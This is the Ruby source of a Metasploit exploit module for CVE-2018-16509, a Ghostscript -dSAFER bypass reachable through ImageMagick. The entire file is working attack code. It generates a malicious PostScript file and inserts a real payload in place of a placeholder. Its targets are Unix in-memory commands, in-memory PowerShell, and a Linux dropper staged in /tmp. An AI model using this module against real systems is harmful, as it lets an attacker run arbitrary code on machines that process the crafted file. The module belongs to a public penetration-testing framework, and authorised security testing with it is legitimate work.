modules/exploits/multi/fileformat/ghostscript_failed_restore.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
PLACEHOLDER_STRING = 'metasploit'
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Ghostscript Failed Restore Command Execution',
'Description' => %q{
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess.
This vulnerability is reachable via libraries such as ImageMagick.
},
'Author' => [
'Tavis Ormandy', # Vuln discovery and exploit
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-16509'],
['URL', 'https://seclists.org/oss-sec/2018/q3/142'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
],
'DisclosureDate' => '2018-08-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'Space' => 4089, # 4096 total
'DisableNops' => true
}
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => [],
'RelatedModules' => [
'exploit/unix/fileformat/ghostscript_type_confusion',
'exploit/unix/fileformat/imagemagick_delegate'
]
}
))
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def exploit
sploit = template
# Replace our placeholder string with a random one
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
# Replace our test payload with the real one
case target['Type']
when :unix_memory
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
when :psh_memory
psh = cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
)
# XXX: Payload space applies to the payload, not the PSH command
if psh.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller payload')
end
sploit.sub!(PLACEHOLDER_COMMAND, psh)
when :linux_dropper
cmdstager = generate_cmdstager(
linemax: targets[0].payload_space,
temp: datastore['WritableDir']
).join(';')
# XXX: Payload space applies to the payload, not the command stager
if cmdstager.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
end
sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
end
file_create(sploit)
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
))
end
end